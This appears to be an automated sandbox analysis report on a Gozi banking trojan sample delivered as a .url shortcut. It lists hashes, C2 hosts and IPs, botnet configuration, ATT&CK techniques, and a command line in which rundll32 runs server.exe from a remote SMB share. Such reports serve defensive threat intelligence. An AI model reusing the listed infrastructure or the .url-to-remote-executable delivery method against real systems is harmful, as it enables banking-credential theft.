gozi | 9d6b413748da3fbfbf2b3b4f980673770f474c1ab1865c00272424455f47a362

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
24-03-2023 08:16

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General

Target

Agenzia/Agenzia.url
Size

189B
MD5

0c3f7c2aa0311bf8c761b9b4e8b33d45
SHA1

4eaa085327b0cd857d43aacffdbc7963a67523d2
SHA256

025f536aab4e91765785e1d0897b55674f217b871e2afe0dba10ad1c5a9f1417
SHA512

710eeb07fbab0b978064220d3ed36bd7de04987f7e3f9a75a1920dd793847606a205d9205b4745edb59e65e3433ef84e7e98c8213017d24e2379533ffd0962b2

Score

10^/10

gozi 7716 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

7716

checklist.skype.com

193.233.175.115

185.68.93.20

62.173.140.250

46.8.210.133

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 1416 wrote to memory of 800	1416	rundll32.exe	server.exe
PID 1416 wrote to memory of 800	1416	rundll32.exe	server.exe
PID 1416 wrote to memory of 800	1416	rundll32.exe	server.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Agenzia\Agenzia.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1416

\??\UNC\46.8.210.86\Agenzia\server.exe
"\\46.8.210.86\Agenzia\server.exe"
2⤵
PID:800

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/800-133-0x0000000000C80000-0x0000000000C8F000-memory.dmp

Filesize
60KB

Download
memory/800-134-0x0000000002940000-0x000000000294D000-memory.dmp

Filesize
52KB

Download
memory/800-137-0x0000000000C80000-0x0000000000C8F000-memory.dmp

Filesize
60KB

Download